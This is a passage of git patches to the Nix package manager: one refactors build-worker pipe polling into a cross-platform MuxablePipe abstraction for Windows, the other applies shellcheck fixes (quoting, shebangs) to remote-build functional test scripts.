be6eb50c4..04f13aedd 100644 --- a/src/libstore/unix/build/derivation-goal.hh +++ b/src/libstore/build/derivation-goal.hh @@ -2,7 +2,9 @@ ///@file #include "parsed-derivations.hh" -#include "user-lock.hh" +#ifndef _WIN32 +# include "user-lock.hh" +#endif #include "outputs-spec.hh" #include "store-api.hh" #include "pathlocks.hh" @@ -12,7 +14,9 @@ namespace nix { using std::map; +#ifndef _WIN32 // TODO enable build hook on Windows struct HookInstance; +#endif typedef enum {rpAccept, rpDecline, rpPostpone} HookReply; @@ -178,10 +182,12 @@ struct DerivationGoal : public Goal std::string currentHookLine; +#ifndef _WIN32 // TODO enable build hook on Windows /** * The build hook. */ std::unique_ptr hook; +#endif /** * The sort of derivation we are building. @@ -287,7 +293,7 @@ struct DerivationGoal : public Goal virtual void cleanupPostOutputsRegisteredModeCheck(); virtual void cleanupPostOutputsRegisteredModeNonCheck(); - virtual bool isReadDesc(int fd); + virtual bool isReadDesc(Descriptor fd); /** * Callback used by the worker to write to the log. diff --git a/src/libstore/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh index 4f06a9e9e..6967ca84f 100644 --- a/src/libstore/build/drv-output-substitution-goal.hh +++ b/src/libstore/build/drv-output-substitution-goal.hh @@ -7,10 +7,7 @@ #include "store-api.hh" #include "goal.hh" #include "realisation.hh" - -#ifdef _WIN32 -# include "windows-async-pipe.hh" -#endif +#include "muxable-pipe.hh" namespace nix { @@ -48,11 +45,7 @@ class DrvOutputSubstitutionGoal : public Goal { struct DownloadState { -#ifndef _WIN32 - Pipe outPipe; -#else - windows::AsyncPipe outPipe; -#endif + MuxablePipe outPipe; std::promise> promise; }; diff --git a/src/libstore/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh index 58d309424..1a051fc1f 100644 --- a/src/libstore/build/substitution-goal.hh +++ b/src/libstore/build/substitution-goal.hh @@ -3,10 +3,7 @@ #include "store-api.hh" #include "goal.hh" - -#ifdef _WIN32 -# include "windows-async-pipe.hh" -#endif +#include "muxable-pipe.hh" namespace nix { @@ -48,11 +45,7 @@ struct PathSubstitutionGoal : public Goal /** * Pipe for the substituter's standard output. */ -#ifndef _WIN32 - Pipe outPipe; -#else - windows::AsyncPipe outPipe; -#endif + MuxablePipe outPipe; /** * The substituter thread. diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index ac6f693a2..e6ed80346 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -3,19 +3,13 @@ #include "worker.hh" #include "substitution-goal.hh" #include "drv-output-substitution-goal.hh" +#include "derivation-goal.hh" #ifndef _WIN32 // TODO Enable building on Windows # include "local-derivation-goal.hh" # include "hook-instance.hh" #endif #include "signals.hh" -#ifndef _WIN32 -# include -#else -# include -# include "windows-error.hh" -#endif - namespace nix { Worker::Worker(Store & store, Store & evalStore) @@ -49,7 +43,6 @@ Worker::~Worker() assert(expectedNarSize == 0); } -#ifndef _WIN32 // TODO Enable building on Windows std::shared_ptr Worker::makeDerivationGoalCommon( const StorePath & drvPath, @@ -73,9 +66,13 @@ std::shared_ptr Worker::makeDerivationGoal(const StorePath & drv const OutputsSpec & wantedOutputs, BuildMode buildMode) { return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr { - return !dynamic_cast(&store) - ? std::make_shared(drvPath, wantedOutputs, *this, buildMode) - : std::make_shared(drvPath, wantedOutputs, *this, buildMode); + return +#ifndef _WIN32 // TODO Enable building on Windows + dynamic_cast(&store) + ? std::make_shared(drvPath, wantedOutputs, *this, buildMode) + : +#endif + std::make_shared(drvPath, wantedOutputs, *this, buildMode); }); } @@ -83,14 +80,16 @@ std::shared_ptr Worker::makeBasicDerivationGoal(const StorePath const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode) { return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr { - return !dynamic_cast(&store) - ? std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode) - : std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode); + return +#ifndef _WIN32 // TODO Enable building on Windows + dynamic_cast(&store) + ? std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode) + : +#endif + std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode); }); } -#endif - std::shared_ptr Worker::makePathSubstitutionGoal(const StorePath & path, RepairFlag repair, std::optional ca) { @@ -122,14 +121,10 @@ GoalPtr Worker::makeGoal(const DerivedPath & req, BuildMode buildMode) { return std::visit(overloaded { [&](const DerivedPath::Built & bfd) -> GoalPtr { -#ifndef _WIN32 // TODO Enable building on Windows if (auto bop = std::get_if(&*bfd.drvPath)) return makeDerivationGoal(bop->path, bfd.outputs, buildMode); else throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented."); -#else - throw UnimplementedError("Building derivations not yet implemented on Windows"); -#endif }, [&](const DerivedPath::Opaque & bo) -> GoalPtr { return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair); @@ -155,11 +150,9 @@ static void removeGoal(std::shared_ptr goal, std::map> & void Worker::removeGoal(GoalPtr goal) { -#ifndef _WIN32 // TODO Enable building on Windows if (auto drvGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(drvGoal, derivationGoals); else -#endif if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, substitutionGoals); else if (auto subGoal = std::dynamic_pointer_cast(goal)) @@ -204,7 +197,7 @@ unsigned Worker::getNrSubstitutions() } -void Worker::childStarted(GoalPtr goal, const std::set & channels, +void Worker::childStarted(GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts) { Child child; @@ -298,14 +291,12 @@ void Worker::run(const Goals & _topGoals) for (auto & i : _topGoals) { topGoals.insert(i); -#ifndef _WIN32 // TODO Enable building on Windows if (auto goal = dynamic_cast(i.get())) { topPaths.push_back(DerivedPath::Built { .drvPath = makeConstantStorePathRef(goal->drvPath), .outputs = goal->wantedOutputs, }); } else -#endif if (auto goal = dynamic_cast(i.get())) { topPaths.push_back(DerivedPath::Opaque{goal->storePath}); } @@ -428,47 +419,26 @@ void Worker::waitForInput() if (useTimeout) vomit("sleeping %d seconds", timeout); + MuxablePipePollState state; + #ifndef _WIN32 /* Use select() to wait for the input side of any logger pipe to become `available'. Note that `available' (i.e., non-blocking) includes EOF. */ - std::vector pollStatus; - std::map fdToPollStatus; for (auto & i : children) { for (auto & j : i.channels) { - pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN }); - fdToPollStatus[j] = pollStatus.size() - 1; + state.pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN }); + state.fdToPollStatus[j] = state.pollStatus.size() - 1; } } - - if (poll(pollStatus.data(), pollStatus.size(), - useTimeout ? timeout * 1000 : -1) == -1) { - if (errno == EINTR) return; - throw SysError("waiting for input"); - } -#else - OVERLAPPED_ENTRY oentries[0x20] = {0}; - ULONG removed; - bool gotEOF = false; - - // we are on at least Windows Vista / Server 2008 and can get many (countof(oentries)) statuses in one API call - if (!GetQueuedCompletionStatusEx( - ioport.get(), - oentries, - sizeof(oentries) / sizeof(*oentries), - &removed, - useTimeout ? timeout * 1000 : INFINITE, - false)) - { - windows::WinError winError("GetQueuedCompletionStatusEx"); - if (winError.lastError != WAIT_TIMEOUT) - throw winError; - assert(removed == 0); - } else { - assert(0 < removed && removed <= sizeof(oentries)/sizeof(*oentries)); - } #endif + state.poll( +#ifdef _WIN32 + ioport.get(), +#endif + useTimeout ? (std::optional { timeout * 1000 }) : std::nullopt); + auto after = steady_time_point::clock::now(); /* Process all available file descriptors. FIXME: this is @@ -482,75 +452,18 @@ void Worker::waitForInput() GoalPtr goal = j->goal.lock(); assert(goal); -#ifndef _WIN32 - std::set fds2(j->channels); - std::vector buffer(4096); - for (auto & k : fds2) { - const auto fdPollStatusId = get(fdToPollStatus, k); - assert(fdPollStatusId); - assert(*fdPollStatusId < pollStatus.size()); - if (pollStatus.at(*fdPollStatusId).revents) { - ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size()); - // FIXME: is there a cleaner way to handle pt close - // than EIO? Is this even standard? - if (rd == 0 || (rd == -1 && errno == EIO)) { - debug("%1%: got EOF", goal->getName()); - goal->handleEOF(k); - j->channels.erase(k); - } else if (rd == -1) { - if (errno != EINTR) - throw SysError("%s: read failed", goal->getName()); - } else { - printMsg(lvlVomit, "%1%: read %2% bytes", - goal->getName(), rd); - std::string_view data((char *) buffer.data(), rd); - j->lastOutput = after; - goal->handleChildOutput(k, data); - } - } - } -#else - decltype(j->channels)::iterator p = j->channels.begin(); - while (p != j->channels.end()) { - decltype(p) nextp = p; - ++nextp; - for (ULONG i = 0; i < removed; i++) { - if (oentries[i].lpCompletionKey == ((ULONG_PTR)((*p)->readSide.get()) ^ 0x5555)) { - printMsg(lvlVomit, "%s: read %s bytes", goal->getName(), oentries[i].dwNumberOfBytesTransferred); - if (oentries[i].dwNumberOfBytesTransferred > 0) { - std::string data { - (char *) (*p)->buffer.data(), - oentries[i].dwNumberOfBytesTransferred, - }; - //std::cerr << "read [" << data << "]" << std::endl; - j->lastOutput = after; - goal->handleChildOutput((*p)->readSide.get(), data); - } - - if (gotEOF) { - debug("%s: got EOF", goal->getName()); - goal->handleEOF((*p)->readSide.get()); - nextp = j->channels.erase(p); // no need to maintain `j->channels` ? - } else { - BOOL rc = ReadFile((*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped); - if (rc) { - // here is possible (but not obligatory) to call `goal->handleChildOutput` and repeat ReadFile immediately - } else { - windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get()); - if (winError.lastError == ERROR_BROKEN_PIPE) { - debug("%s: got EOF", goal->getName()); - goal->handleEOF((*p)->readSide.get()); - nextp = j->channels.erase(p); // no need to maintain `j->channels` ? - } else if (winError.lastError != ERROR_IO_PENDING) - throw winError; - } - } - break; - } - } - p = nextp; - } -#endif + state.iterate( + j->channels, + [&](Descriptor k, std::string_view data) { + printMsg(lvlVomit, "%1%: read %2% bytes", + goal->getName(), data.size()); + j->lastOutput = after; + goal->handleChildOutput(k, data); + }, + [&](Descriptor k) { + debug("%1%: got EOF", goal->getName()); + goal->handleEOF(k); + }); if (goal->exitCode == Goal::ecBusy && 0 != settings.maxSilentTime && diff --git a/src/libstore/build/worker.hh b/src/libstore/build/worker.hh index b57734b45..7d67030d7 100644 --- a/src/libstore/build/worker.hh +++ b/src/libstore/build/worker.hh @@ -5,10 +5,7 @@ #include "store-api.hh" #include "goal.hh" #include "realisation.hh" - -#ifdef _WIN32 -# include "windows-async-pipe.hh" -#endif +#include "muxable-pipe.hh" #include #include @@ -16,9 +13,7 @@ namespace nix { /* Forward definition. */ -#ifndef _WIN32 // TODO Enable building on Windows struct DerivationGoal; -#endif struct PathSubstitutionGoal; class DrvOutputSubstitutionGoal; @@ -46,17 +41,9 @@ typedef std::chrono::time_point steady_time_point; */ struct Child { - using CommChannel = -#ifndef _WIN32 - Descriptor -#else - windows::AsyncPipe * -#endif - ; - WeakGoalPtr goal; Goal * goal2; // ugly hackery - std::set channels; + std::set channels; bool respectTimeouts; bool inBuildSlot; /** @@ -116,9 +103,7 @@ private: * Maps used to prevent multiple instantiations of a goal for the * same derivation / path. */ -#ifndef _WIN32 // TODO Enable building on Windows std::map> derivationGoals; -#endif std::map> substitutionGoals; std::map> drvOutputSubstitutionGoals; @@ -207,7 +192,6 @@ public: * Make a goal (with caching). */ -#ifndef _WIN32 // TODO Enable building on Windows /** * @ref DerivationGoal "derivation goal" */ @@ -222,7 +206,6 @@ public: std::shared_ptr makeBasicDerivationGoal( const StorePath & drvPath, const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); -#endif /** * @ref SubstitutionGoal "substitution goal" @@ -263,7 +246,7 @@ public: * Registers a running child process. `inBuildSlot` means that * the process counts towards the jobs limit. */ - void childStarted(GoalPtr goal, const std::set & channels, + void childStarted(GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts); /** diff --git a/src/libutil/muxable-pipe.hh b/src/libutil/muxable-pipe.hh new file mode 100644 index 000000000..53ac39170 --- /dev/null +++ b/src/libutil/muxable-pipe.hh @@ -0,0 +1,82 @@ +#pragma once +///@file + +#include "file-descriptor.hh" +#ifdef _WIN32 +# include "windows-async-pipe.hh" +#endif + +#ifndef _WIN32 +# include +#else +# include +# include "windows-error.hh" +#endif + +namespace nix { + +/** + * An "muxable pipe" is a type of pipe supporting endpoints that wait + * for events on multiple pipes at once. + * + * On Unix, this is just a regular anonymous pipe. On Windows, this has + * to be a named pipe because we need I/O Completion Ports to wait on + * multiple pipes. + */ +using MuxablePipe = +#ifndef _WIN32 + Pipe +#else + windows::AsyncPipe +#endif + ; + +/** + * Use pool() (Unix) / I/O Completion Ports (Windows) to wait for the + * input side of any logger pipe to become `available'. Note that + * `available' (i.e., non-blocking) includes EOF. + */ +struct MuxablePipePollState +{ +#ifndef _WIN32 + std::vector pollStatus; + std::map fdToPollStatus; +#else + OVERLAPPED_ENTRY oentries[0x20] = {0}; + ULONG removed; + bool gotEOF = false; + +#endif + + /** + * Check for ready (Unix) / completed (Windows) operations + */ + void poll( +#ifdef _WIN32 + HANDLE ioport, +#endif + std::optional timeout); + + using CommChannel = +#ifndef _WIN32 + Descriptor +#else + windows::AsyncPipe * +#endif + ; + + /** + * Process for ready (Unix) / completed (Windows) operations, + * calling the callbacks as needed. + * + * @param handleRead callback to be passed read data. + * + * @param handleEOF callback for when the `MuxablePipe` has closed. + */ + void iterate( + std::set & channels, + std::function handleRead, + std::function handleEOF); +}; + +} diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh index e319f79e0..9d5367b02 100644 --- a/src/libutil/processes.hh +++ b/src/libutil/processes.hh @@ -118,8 +118,6 @@ public: { } }; -#ifndef _WIN32 - /** * Convert the exit status of a child as returned by wait() into an * error string. @@ -128,6 +126,4 @@ std::string statusToString(int status); bool statusOk(int status); -#endif - } diff --git a/src/libutil/unix/muxable-pipe.cc b/src/libutil/unix/muxable-pipe.cc new file mode 100644 index 000000000..0104663c3 --- /dev/null +++ b/src/libutil/unix/muxable-pipe.cc @@ -0,0 +1,47 @@ +#include + +#include "logging.hh" +#include "util.hh" +#include "muxable-pipe.hh" + +namespace nix { + +void MuxablePipePollState::poll(std::optional timeout) +{ + if (::poll(pollStatus.data(), pollStatus.size(), timeout ? *timeout : -1) == -1) { + if (errno == EINTR) + return; + throw SysError("waiting for input"); + } +} + +void MuxablePipePollState::iterate( + std::set & channels, + std::function handleRead, + std::function handleEOF) +{ + std::set fds2(channels); + std::vector buffer(4096); + for (auto & k : fds2) { + const auto fdPollStatusId = get(fdToPollStatus, k); + assert(fdPollStatusId); + assert(*fdPollStatusId < pollStatus.size()); + if (pollStatus.at(*fdPollStatusId).revents) { + ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size()); + // FIXME: is there a cleaner way to handle pt close + // than EIO? Is this even standard? + if (rd == 0 || (rd == -1 && errno == EIO)) { + handleEOF(k); + channels.erase(k); + } else if (rd == -1) { + if (errno != EINTR) + throw SysError("read failed"); + } else { + std::string_view data((char *) buffer.data(), rd); + handleRead(k, data); + } + } + } +} + +} diff --git a/src/libutil/windows/muxable-pipe.cc b/src/libutil/windows/muxable-pipe.cc new file mode 100644 index 000000000..91a321f7c --- /dev/null +++ b/src/libutil/windows/muxable-pipe.cc @@ -0,0 +1,70 @@ +#include +#include "windows-error.hh" + +#include "logging.hh" +#include "util.hh" +#include "muxable-pipe.hh" + +namespace nix { + +void MuxablePipePollState::poll(HANDLE ioport, std::optional timeout) +{ + /* We are on at least Windows Vista / Server 2008 and can get many + (countof(oentries)) statuses in one API call. */ + if (!GetQueuedCompletionStatusEx( + ioport, oentries, sizeof(oentries) / sizeof(*oentries), &removed, timeout ? *timeout : INFINITE, false)) { + windows::WinError winError("GetQueuedCompletionStatusEx"); + if (winError.lastError != WAIT_TIMEOUT) + throw winError; + assert(removed == 0); + } else { + assert(0 < removed && removed <= sizeof(oentries) / sizeof(*oentries)); + } +} + +void MuxablePipePollState::iterate( + std::set & channels, + std::function handleRead, + std::function handleEOF) +{ + auto p = channels.begin(); + while (p != channels.end()) { + decltype(p) nextp = p; + ++nextp; + for (ULONG i = 0; i < removed; i++) { + if (oentries[i].lpCompletionKey == ((ULONG_PTR) ((*p)->readSide.get()) ^ 0x5555)) { + printMsg(lvlVomit, "read %s bytes", oentries[i].dwNumberOfBytesTransferred); + if (oentries[i].dwNumberOfBytesTransferred > 0) { + std::string data{ + (char *) (*p)->buffer.data(), + oentries[i].dwNumberOfBytesTransferred, + }; + handleRead((*p)->readSide.get(), data); + } + + if (gotEOF) { + handleEOF((*p)->readSide.get()); + nextp = channels.erase(p); // no need to maintain `channels`? + } else { + BOOL rc = ReadFile( + (*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped); + if (rc) { + // here is possible (but not obligatory) to call + // `handleRead` and repeat ReadFile immediately + } else { + windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get()); + if (winError.lastError == ERROR_BROKEN_PIPE) { + handleEOF((*p)->readSide.get()); + nextp = channels.erase(p); // no need to maintain `channels` ? + } else if (winError.lastError != ERROR_IO_PENDING) + throw winError; + } + } + break; + } + } + p = nextp; + } +} + +} diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index 5ef4ed1e4..44a32f6a1 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -16,16 +16,6 @@ #include #include -#ifdef __APPLE__ -# include -#endif - -#ifdef __linux__ -# include -# include -#endif - - namespace nix { std::string runProgram(Path program, bool lookupPath, const Strings & args, @@ -34,15 +24,31 @@ std::string runProgram(Path program, bool lookupPath, const Strings & args, throw UnimplementedError("Cannot shell out to git on Windows yet"); } + // Output = error code + "standard out" output stream std::pair runProgram(RunOptions && options) { throw UnimplementedError("Cannot shell out to git on Windows yet"); } + void runProgram2(const RunOptions & options) { throw UnimplementedError("Cannot shell out to git on Windows yet"); } +std::string statusToString(int status) +{ + if (status != 0) + return fmt("with exit code %d", status); + else + return "succeeded"; +} + + +bool statusOk(int status) +{ + return status == 0; +} + } diff --git a/src/libutil/windows/windows-async-pipe.hh b/src/libutil/windows/windows-async-pipe.hh index c980201a8..8f554e403 100644 --- a/src/libutil/windows/windows-async-pipe.hh +++ b/src/libutil/windows/windows-async-pipe.hh @@ -5,6 +5,13 @@ namespace nix::windows { +/*** + * An "async pipe" is a pipe that supports I/O Completion Ports so + * multiple pipes can be listened too. + * + * Unfortunately, only named pipes support that on windows, so we use + * those with randomized temp file names. + */ class AsyncPipe { public: From 2e12b5812647a97a9ed8b7e6aa48fbe7725491aa Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 28 May 2024 10:10:02 -0400 Subject: [PATCH 0677/1251] Shellcheck some test scripts Progress on #10795 --- .gitignore | 2 +- maintainers/flake-module.nix | 15 +------ mk/common-test.sh | 3 +- .../build-remote-content-addressed-fixed.sh | 2 + ...build-remote-content-addressed-floating.sh | 2 + .../build-remote-input-addressed.sh | 12 ++--- .../build-remote-trustless-after.sh | 9 +++- .../build-remote-trustless-should-fail-0.sh | 6 +++ .../build-remote-trustless-should-pass-0.sh | 2 + .../build-remote-trustless-should-pass-1.sh | 2 + .../build-remote-trustless-should-pass-2.sh | 2 + .../build-remote-trustless-should-pass-3.sh | 2 + tests/functional/build-remote-trustless.sh | 14 ++++-- .../build-remote-with-mounted-ssh-ng.sh | 14 +++--- tests/functional/build-remote.sh | 44 ++++++++++--------- tests/functional/common.sh | 8 ++-- tests/functional/common/init.sh | 2 + tests/functional/common/subst-vars.sh.in | 15 +++++++ ...-functions.sh.in => vars-and-functions.sh} | 19 +++----- tests/functional/local.mk | 2 +- 20 files changed, 106 insertions(+), 71 deletions(-) create mode 100644 tests/functional/common/subst-vars.sh.in rename tests/functional/common/{vars-and-functions.sh.in => vars-and-functions.sh} (96%) diff --git a/.gitignore b/.gitignore index 52aaec23f..28f853715 100644 --- a/.gitignore +++ b/.gitignore @@ -92,7 +92,7 @@ perl/Makefile.config # /tests/functional/ /tests/functional/test-tmp -/tests/functional/common/vars-and-functions.sh +/tests/functional/common/subst-vars.sh /tests/functional/result* /tests/functional/restricted-innocent /tests/functional/shell diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 1f19c673a..bc5dde9aa 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -514,18 +514,6 @@ ''^tests/functional/brotli\.sh$'' ''^tests/functional/build-delete\.sh$'' ''^tests/functional/build-dry\.sh$'' - ''^tests/functional/build-remote-content-addressed-fixed\.sh$'' - ''^tests/functional/build-remote-content-addressed-floating\.sh$'' - ''^tests/functional/build-remote-input-addressed\.sh$'' - ''^tests/functional/build-remote-trustless-after\.sh$'' - ''^tests/functional/build-remote-trustless-should-fail-0\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-0\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-1\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-2\.sh$'' - ''^tests/functional/build-remote-trustless-should-pass-3\.sh$'' - ''^tests/functional/build-remote-trustless\.sh$'' - ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$'' - ''^tests/functional/build-remote\.sh$'' ''^tests/functional/build\.sh$'' ''^tests/functional/ca/build-cache\.sh$'' ''^tests/functional/ca/build-dry\.sh$'' @@ -554,8 +542,7 @@ ''^tests/functional/check-reqs\.sh$'' ''^tests/functional/check\.sh$'' ''^tests/functional/chroot-store\.sh$'' - ''^tests/functional/common\.sh$'' - ''^tests/functional/common/init\.sh$'' + ''^tests/functional/common/vars-and-functions\.sh$'' ''^tests/functional/completions\.sh$'' ''^tests/functional/compression-levels\.sh$'' ''^tests/functional/compute-levels\.sh$'' diff --git a/mk/common-test.sh b/mk/common-test.sh index de24b6fcc..c80abd381 100644 --- a/mk/common-test.sh +++ b/mk/common-test.sh @@ -3,8 +3,7 @@ # Remove overall test dir (at most one of the two should match) and # remove file extension. -# shellcheck disable=SC2154 -test_name=$(echo -n "$test" | sed \ +test_name=$(echo -n "${test?must be defined by caller (test runner)}" | sed \ -e "s|^tests/unit/[^/]*/data/||" \ -e "s|^tests/functional/||" \ -e "s|\.sh$||" \ diff --git a/tests/functional/build-remote-content-addressed-fixed.sh b/tests/functional/build-remote-content-addressed-fixed.sh index ae7441591..61a1f4a46 100644 --- a/tests/functional/build-remote-content-addressed-fixed.sh +++ b/tests/functional/build-remote-content-addressed-fixed.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh file=build-hook-ca-fixed.nix diff --git a/tests/functional/build-remote-content-addressed-floating.sh b/tests/functional/build-remote-content-addressed-floating.sh index e83b42b41..33d667f92 100644 --- a/tests/functional/build-remote-content-addressed-floating.sh +++ b/tests/functional/build-remote-content-addressed-floating.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh file=build-hook-ca-floating.nix diff --git a/tests/functional/build-remote-input-addressed.sh b/tests/functional/build-remote-input-addressed.sh index 49d15c389..986692dbc 100644 --- a/tests/functional/build-remote-input-addressed.sh +++ b/tests/functional/build-remote-input-addressed.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh file=build-hook.nix @@ -11,17 +13,17 @@ registerBuildHook () { # Dummy post-build-hook just to ensure that it's executed correctly. # (we can't reuse the one from `$PWD/push-to-store.sh` because of # https://github.com/NixOS/nix/issues/4341) - cat < $TEST_ROOT/post-build-hook.sh + cat < "$TEST_ROOT/post-build-hook.sh" #!/bin/sh echo "Post hook ran successfully" # Add an empty line to a counter file, just to check that this hook ran properly echo "" >> $TEST_ROOT/post-hook-counter EOF - chmod +x $TEST_ROOT/post-build-hook.sh - rm -f $TEST_ROOT/post-hook-counter + chmod +x "$TEST_ROOT/post-build-hook.sh" + rm -f "$TEST_ROOT/post-hook-counter" - echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> $NIX_CONF_DIR/nix.conf + echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$NIX_CONF_DIR/nix.conf" } registerBuildHook @@ -30,4 +32,4 @@ source build-remote.sh # `build-hook.nix` has four derivations to build, and the hook runs twice for # each derivation (once on the builder and once on the host), so the counter # should contain eight lines now -[[ $(cat $TEST_ROOT/post-hook-counter | wc -l) -eq 8 ]] +[[ $(wc -l < "$TEST_ROOT/post-hook-counter") -eq 8 ]] diff --git a/tests/functional/build-remote-trustless-after.sh b/tests/functional/build-remote-trustless-after.sh index 19f59e6ae..2fcdbf10a 100644 --- a/tests/functional/build-remote-trustless-after.sh +++ b/tests/functional/build-remote-trustless-after.sh @@ -1,2 +1,7 @@ -outPath=$(readlink -f $TEST_ROOT/result) -grep 'FOO BAR BAZ' ${remoteDir}/${outPath} +# shellcheck shell=bash + +# Variables must be defined by caller, so +# shellcheck disable=SC2154 + +outPath=$(readlink -f "$TEST_ROOT/result") +grep 'FOO BAR BAZ' "${remoteDir}/${outPath}" diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh index 3d4a4b097..269f7f112 100644 --- a/tests/functional/build-remote-trustless-should-fail-0.sh +++ b/tests/functional/build-remote-trustless-should-fail-0.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh enableFeatures "daemon-trust-override" @@ -22,8 +24,12 @@ nix-build build-hook.nix -A passthru.input2 \ # copy our already-build `input2` to the remote store. That store object # is input-addressed, so this will fail. +# For script below +# shellcheck disable=SC2034 file=build-hook.nix +# shellcheck disable=SC2034 prog=$(readlink -e ./nix-daemon-untrusting.sh) +# shellcheck disable=SC2034 proto=ssh-ng expectStderr 1 source build-remote-trustless.sh \ diff --git a/tests/functional/build-remote-trustless-should-pass-0.sh b/tests/functional/build-remote-trustless-should-pass-0.sh index 2a7ebd8c6..b81060907 100644 --- a/tests/functional/build-remote-trustless-should-pass-0.sh +++ b/tests/functional/build-remote-trustless-should-pass-0.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Remote trusts us diff --git a/tests/functional/build-remote-trustless-should-pass-1.sh b/tests/functional/build-remote-trustless-should-pass-1.sh index 516bdf092..b8dc038bf 100644 --- a/tests/functional/build-remote-trustless-should-pass-1.sh +++ b/tests/functional/build-remote-trustless-should-pass-1.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Remote trusts us diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh index b769a88f0..ba5d1ff7a 100644 --- a/tests/functional/build-remote-trustless-should-pass-2.sh +++ b/tests/functional/build-remote-trustless-should-pass-2.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh enableFeatures "daemon-trust-override" diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh index 40f81da5a..187b89948 100644 --- a/tests/functional/build-remote-trustless-should-pass-3.sh +++ b/tests/functional/build-remote-trustless-should-pass-3.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh enableFeatures "daemon-trust-override" diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh index 81e5253bf..c498d46c3 100644 --- a/tests/functional/build-remote-trustless.sh +++ b/tests/functional/build-remote-trustless.sh @@ -1,5 +1,11 @@ +# shellcheck shell=bash + +# All variables should be defined externally by the scripts that source +# this, `set -u` will catch any that are forgotten. +# shellcheck disable=SC2154 + requireSandboxSupport -[[ $busybox =~ busybox ]] || skipTest "no busybox" +[[ "$busybox" =~ busybox ]] || skipTest "no busybox" unset NIX_STORE_DIR unset NIX_STATE_DIR @@ -8,7 +14,7 @@ remoteDir=$TEST_ROOT/remote # Note: ssh{-ng}://localhost bypasses ssh. See tests/functional/build-remote.sh for # more details. -nix-build $file -o $TEST_ROOT/result --max-jobs 0 \ - --arg busybox $busybox \ - --store $TEST_ROOT/local \ +nix-build "$file" -o "$TEST_ROOT/result" --max-jobs 0 \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/local" \ --builders "$proto://localhost?remote-program=$prog&remote-store=${remoteDir}%3Fsystem-features=foo%20bar%20baz - - 1 1 foo,bar,baz" diff --git a/tests/functional/build-remote-with-mounted-ssh-ng.sh b/tests/functional/build-remote-with-mounted-ssh-ng.sh index 443acb6ca..e2627af39 100644 --- a/tests/functional/build-remote-with-mounted-ssh-ng.sh +++ b/tests/functional/build-remote-with-mounted-ssh-ng.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireSandboxSupport @@ -6,17 +8,17 @@ requireSandboxSupport enableFeatures mounted-ssh-store nix build -Lvf simple.nix \ - --arg busybox $busybox \ - --out-link $TEST_ROOT/result-from-remote \ + --arg busybox "$busybox" \ + --out-link "$TEST_ROOT/result-from-remote" \ --store mounted-ssh-ng://localhost nix build -Lvf simple.nix \ - --arg busybox $busybox \ - --out-link $TEST_ROOT/result-from-remote-new-cli \ + --arg busybox "$busybox" \ + --out-link "$TEST_ROOT/result-from-remote-new-cli" \ --store 'mounted-ssh-ng://localhost?remote-program=nix daemon' # This verifies that the out link was actually created and valid. The ability # to create out links (permanent gc roots) is the distinguishing feature of # the mounted-ssh-ng store. -cat $TEST_ROOT/result-from-remote/hello | grepQuiet 'Hello World!' -cat $TEST_ROOT/result-from-remote-new-cli/hello | grepQuiet 'Hello World!' +grepQuiet 'Hello World!' < "$TEST_ROOT/result-from-remote/hello" +grepQuiet 